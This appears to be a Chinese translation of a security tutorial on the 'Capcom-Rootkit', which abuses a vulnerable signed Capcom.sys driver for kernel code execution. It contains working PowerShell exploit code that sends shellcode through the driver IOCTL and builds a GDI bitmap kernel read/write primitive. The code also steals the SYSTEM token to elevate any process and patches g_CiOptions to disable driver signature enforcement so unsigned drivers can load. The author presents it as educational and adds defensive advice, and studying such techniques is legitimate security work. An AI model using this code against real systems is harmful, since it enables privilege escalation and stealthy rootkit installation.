2017-03-14 13:50:17
来源:fuzzysecurity.com 作者:myswsun
阅读:418次
点赞(0)
收藏
翻译:myswsun
预估稿费:160RMB
投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿
0x00 前言
最近,我读了一篇关于Derusbi恶意软件的文章。那篇文章主要是关于恶意软件作者使用了一种技术,利用签名的Novell驱动的漏洞(CVE-2013-3956)修改一些内核中的位来临时禁用驱动签名。一旦禁用了,Derusbi加载一个NDIS驱动,可能用来嗅探原始数据包的传输(我没有细看)。
不管怎样,我很好奇相同功能的PoC有多困难(事实是也不是很困难)。为了完整描述攻击者的场景,我决定使用签名驱动(Capcom.sys)中的漏洞,它首先由TheWackOlian在2016年9月23日披露。
0x01 资源
Capcom-Rootkit(@FuzzySec)- 这里
Derusbi绕过windows驱动签名 – 这里
快速浏览强制驱动签名(@j00ru) - 这里
对抗X64强制驱动签名(@hFireF0X)- 这里
0x02 驱动漏洞
本文主要的目的不是分析驱动漏洞。我强烈建议你看下@TheColonial的演示,以更好的理解利用过程。
本质上,驱动提供了ring0代码执行作为一个服务。它唯一的功能是使用用户层的指针来禁用SMEP,执行指针地址的代码并重新启用SMEP。函数的反汇编如下:
Powershell PoC如下,描述了如何利用。
#Sometrickshere #=>cmp[rax-8],rcx echo"`n[>]AllocatingCapcompayload.." [IntPtr]$Pointer=[CapCom]::VirtualAlloc([System.IntPtr]::Zero,(8+$Shellcode.Length),0x3000,0x40) $ExploitBuffer=[System.BitConverter]::GetBytes($Pointer.ToInt64()+8)+$Shellcode [System.Runtime.InteropServices.Marshal]::Copy($ExploitBuffer,0,$Pointer,(8+$Shellcode.Length)) echo"[+]Payloadsize:$(8+$Shellcode.Length)" echo"[+]Payloadaddress:$("{0:X}"-f$Pointer.ToInt64())" $hDevice=[CapCom]::CreateFile("\\.\Htsysm72FB",[System.IO.FileAccess]::ReadWrite,[System.IO.FileShare]::ReadWrite,[System.IntPtr]::Zero,0x3,0x40000080,[System.IntPtr]::Zero) if($hDevice-eq-1){ echo"`n[!]Unabletogetdriverhandle..`n" Return }else{ echo"`n[>]Driverinformation.." echo"[+]lpFileName:\\.\Htsysm72FB" echo"[+]Handle:$hDevice" } #IOCTL=0xAA013044 #--- $InBuff=[System.BitConverter]::GetBytes($Pointer.ToInt64()+8) $OutBuff=0x1234 echo"`n[>]Sendingbuffer.." echo"[+]Bufferlength:$($InBuff.Length)" echo"[+]IOCTL:0xAA013044" [CapCom]::DeviceIoControl($hDevice,0xAA013044,$InBuff,$InBuff.Length,[ref]$OutBuff,4,[ref]0,[System.IntPtr]::Zero)|Out-null有了执行任意的shellcode的能力,我选择了一个GDI bitmap原语,能使我们获得在内核中永久性的读写的能力,而不用一遍又一遍的调用驱动。为了创建bitmap,我使用Stage-gSharedInfoBitmap,并且使用下面的形式构建了shellcode。
#LeakBitMappointers echo"`n[>]gSharedInfobitmapleak.." $Manager=Stage-gSharedInfoBitmap $Worker=Stage-gSharedInfoBitmap echo"[+]ManagerbitmapKerneladdress:0x$("{0:X16}"-f$($Manager.BitmapKernelObj))" echo"[+]WorkerbitmapKerneladdress:0x$("{0:X16}"-f$($Worker.BitmapKernelObj))" #Shellcodebuffer [Byte[]]$Shellcode=@( 0x48,0xB8)+[System.BitConverter]::GetBytes($Manager.BitmappvScan0)+@(#movrax,$Manager.BitmappvScan0 0x48,0xB9)+[System.BitConverter]::GetBytes($Worker.BitmappvScan0)+@(#movrcx,$Manager.BitmappvScan0 0x48,0x89,0x08,#movqwordptr[rax],rcx 0xC3#ret )这个技术的更多细节能在@mwrlabs的标题A Tale Of Bitmaps: Leaking GDI Objects Post Windows 10 Anniversary Edition和我的Windows利用开发教程系列的part 17中找到。
0x03 Rootkit功能
现在我们有了内核中任意读写的能力,我们能开始完成我们的rootkit功能。我决定集中在两个不同的功能上:
1. 将任意读写的PID提升到SYSTEM权限
2. 在运行时禁用强制驱动签名,以便在内核中加载未签名的代码
任意进程提权
我们需要遍历EPROCESS结构链表,复制SYSTEM的EPROCESS令牌字段,并且使用这个值覆盖目标进程的EPROCESS结构。没有任何现成的漏洞,我们实际上可以在用户层泄漏一个指针指向System(PID 4)的EPROCESS入口。
应该注意,使用SystemModuleInformation能泄漏当前加载的NT内核的基址, 只在Windows8.1后的中等完整进程中起作用。我们能在Powershell简单实现这个过程,使用Get-LoadedModules,并在KD中验证我们的结果。
因此我们有了一种方法,来得到System的EPROCESS结构的指针,并使用我们的bitmap原语我们能够简单的读取与那个进程相关的SYSTEM令牌。最后一件事,我们需要遍历ActiveProcessLinks链表,来找到我们想要提权的进程的EPROCESS结构。列表结构如下(Windows 10 x64)。
这个列表是个双向循环列表。简单来说,我们将使用我们的bitmap原语来读取当前EPROCESS结构的PID,如果匹配了PID,我们将覆盖这个进程的令牌,如果不能匹配,我们从ActiveProcessLinks->Flink读取下个EPROCESS结构的地址,并重复。
EPROCESS结构是不透明的(未文档化),且不同的Windows系统会不同,但是我们能维护一个静态的偏移列表。我强烈推荐看一下@rwfpl的Terminus Project。偷取令牌的逻辑的Powershell实现如下。
functionCapcom-ElevatePID{ param([Int]$ProcPID) #Checkourbitmapshavebeenstagedintomemory if(!$ManagerBitmap-Or!$WorkerBitmap){ Capcom-StageGDI if($DriverNotLoaded-eq$true){ Return } } #DefaultstoelevatingPowershell if(!$ProcPID){ $ProcPID=$PID } #Makesurethepidexists! #0isalsoinvalidbutwilldefaultto$PID $IsValidProc=((Get-Process).Id).Contains($ProcPID) if(!$IsValidProc){ Write-Output"`n[!]Invalidprocessspecified!`n" Return } #_EPROCESSUniqueProcessId/Token/ActiveProcessLinksoffsetsbasedonOS #WARNINGoffsetsareinvalidforPre-RTMimages! $OSVersion=[Version](Get-WmiObjectWin32_OperatingSystem).Version $OSMajorMinor="$($OSVersion.Major).$($OSVersion.Minor)" switch($OSMajorMinor) { '10.0'#Win10/2k16 { $UniqueProcessIdOffset=0x2e8 $TokenOffset=0x358 $ActiveProcessLinks=0x2f0 } '6.3'#Win8.1/2k12R2 { $UniqueProcessIdOffset=0x2e0 $TokenOffset=0x348 $ActiveProcessLinks=0x2e8 } '6.2'#Win8/2k12 { $UniqueProcessIdOffset=0x2e0 $TokenOffset=0x348 $ActiveProcessLinks=0x2e8 } '6.1'#Win7/2k8R2 { $UniqueProcessIdOffset=0x180 $TokenOffset=0x208 $ActiveProcessLinks=0x188 } } #GetEPROCESSentryforSystemprocess $SystemModuleArray=Get-LoadedModules $KernelBase=$SystemModuleArray[0].ImageBase $KernelType=($SystemModuleArray[0].ImageName-split"\\")[-1] $KernelHanle=[Capcom]::LoadLibrary("$KernelType") $PsInitialSystemProcess=[Capcom]::GetProcAddress($KernelHanle,"PsInitialSystemProcess") $SysEprocessPtr=$PsInitialSystemProcess.ToInt64()-$KernelHanle+$KernelBase $CallResult=[Capcom]::FreeLibrary($KernelHanle) $SysEPROCESS=Bitmap-Read-Address$SysEprocessPtr $SysToken=Bitmap-Read-Address$($SysEPROCESS+$TokenOffset) Write-Output"`n[+]SYSTEMToken:0x$("{0:X}"-f$SysToken)" #GetEPROCESSentryforPID $NextProcess=$(Bitmap-Read-Address$($SysEPROCESS+$ActiveProcessLinks))-$UniqueProcessIdOffset-[System.IntPtr]::Size while($true){ $NextPID=Bitmap-Read-Address$($NextProcess+$UniqueProcessIdOffset) if($NextPID-eq$ProcPID){ $TargetTokenAddr=$NextProcess+$TokenOffset Write-Output"[+]FoundPID:$NextPID" Write-Output"[+]PIDtoken:0x$("{0:X}"-f$(Bitmap-Read-Address$($NextProcess+$TokenOffset)))" break } $NextProcess=$(Bitmap-Read-Address$($NextProcess+$ActiveProcessLinks))-$UniqueProcessIdOffset-[System.IntPtr]::Size } #Duplicatetoken! Write-Output"[!]DuplicatingSYSTEMtoken!`n" Bitmap-Write-Address$TargetTokenAddr-Value$SysToken }绕过强制驱动签名
我建议你看下@j00ru的关于强制驱动签名的write-up。结果证明Windows上的代码完整性有一个独立的二进制(ci.dll,%WINDIR%\System32\)管理。在Windows 8之前,CI导出了一个全局的boolean变量g_CiEnabled,完美的表示签名是否启动。在Windows 8之后,g_CiEnabled被另一个全局变量(g_CiOptions)代替,其是一个标志的组合(最重要的是0x0=禁用,0x6=启用,0x8=测试模式)。
由于Δt free-time限制,这个模块只针对Win8+中使用的g_CiOptions。然而,类似的方法可以用于g_CiEnabled(欢迎GitHub pull 请求)。基本上,我们将使用和Derusbi恶意软件的作者一样的技术。因为g_CiOptions没有导出,我们不得不在patch这个值时做些动态计算。如果我们反编译CI!CiInitialize,我们能看见g_CiOptions的指针。
与我们之前做的类似,我们能在CI!CiInitialize中泄漏地址,而不是用任何漏洞。
目前只实现了一些逻辑,使用我们的bitmap原语来读取字节,以寻找第一个“jmp”(0xE9),和第一个“mov dword ptr[xxxxx], ecx”(0x890D)。一旦我们有了g_CiOptions的地址,我们能设置我们想要的任何值。Powershell函数如下。 functionCapcom-DriverSigning{ param([Int]$SetValue) #Checkourbitmapshavebeenstagedintomemory if(!$ManagerBitmap-Or!$WorkerBitmap){ Capcom-StageGDI if($DriverNotLoaded-eq$true){ Return } } #LeakCIbase=>$SystemModuleCI.ImageBase $SystemModuleCI=Get-LoadedModules|Where-Object{$_.ImageName-Like"*CI.dll"} #WeneedDONT_RESOLVE_DLL_REFERENCESforCILoadLibraryEx $CIHanle=[Capcom]::LoadLibraryEx("ci.dll",[IntPtr]::Zero,0x1) $CiInitialize=[Capcom]::GetProcAddress($CIHanle,"CiInitialize") #Calculate=>CI!CiInitialize $CiInitializePtr=$CiInitialize.ToInt64()-$CIHanle+$SystemModuleCI.ImageBase Write-Output"`n[+]CI!CiInitialize:$('{0:X}'-f$CiInitializePtr)" #FreeCIhandle $CallResult=[Capcom]::FreeLibrary($CIHanle) #Calculate=>CipInitialize #jmpCI!CipInitialize for($i=0;$i-lt500;$i++){ $val=("{0:X}"-f$(Bitmap-Read-Address$($CiInitializePtr+$i)))-split'(..)'|?{$_} #Lookforthefirstjmpinstruction if($val[-1]-eq"E9"){ $Distance=[Int]"0x$(($val[-3,-2])-join'')" $CipInitialize=$Distance+5+$CiInitializePtr+$i Write-Output"[+]CI!CipInitialize:$('{0:X}'-f$CipInitialize)" break } } #Calculate=>g_CiOptions #movdwordptr[CI!g_CiOptions],ecx for($i=0;$i-lt500;$i++){ $val=("{0:X}"-f$(Bitmap-Read-Address$($CipInitialize+$i)))-split'(..)'|?{$_} #Lookforthefirstjmpinstruction if($val[-1]-eq"89"-And$val[-2]-eq"0D"){ $Distance=[Int]"0x$(($val[-6..-3])-join'')" $g_CiOptions=$Distance+6+$CipInitialize+$i Write-Output"[+]CI!g_CiOptions:$('{0:X}'-f$g_CiOptions)" break } } #printg_CiOptions Write-Output"[+]CurrentCiOptionsValue:$('{0:X}'-f$(Bitmap-Read-Address$g_CiOptions))`n" if($SetValue){ Bitmap-Write-Address$g_CiOptions-Value$SetValue #printnewg_CiOptions Write-Output"[!]NewCiOptionsValue:$('{0:X}'-f$(Bitmap-Read-Address$g_CiOptions))`n" } }
截图如下,当前的g_CiOptions值是0x6(驱动签名启动了),且阻止了我们加载evil.sys。
在覆写这个值后,我们能成功加载我们的未签名的驱动。
不过g_CiOptions被PatchGuard保护,意味着如果这个值改变了,Windows将蓝屏(CRITICAL_STRUCTURE_CORRUPTION)。然而这个不太可能发生,当测试时我不得不等待了一个小时才等到PatchGuard触发。如果你加载了未签名的驱动,且恢复了这个值,PatchGuard将不会意识到。我的深度防御的建议是在驱动加载时触发CI的PatchGuard检查,尽管这个也不能阻止攻击者反射加载驱动,但会提高门槛。
0x04 想法
第三方,签名的驱动对Windows内核构成了严重威胁,我确信这个例子已经说明了这种情况。我也发现实现简单的内核subversion比想象中容易,尤其是与PatchGuard有关的。总的来说,我认为最明智的做法是组织使用驱动白名单来部署设备保护,以便消除这种类型的攻击。
Capcom-Rootkit在GitHub中提供,用于教育/测试的目的,不要做坏事。
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:http://www.fuzzysecurity.com/tutorials/28.html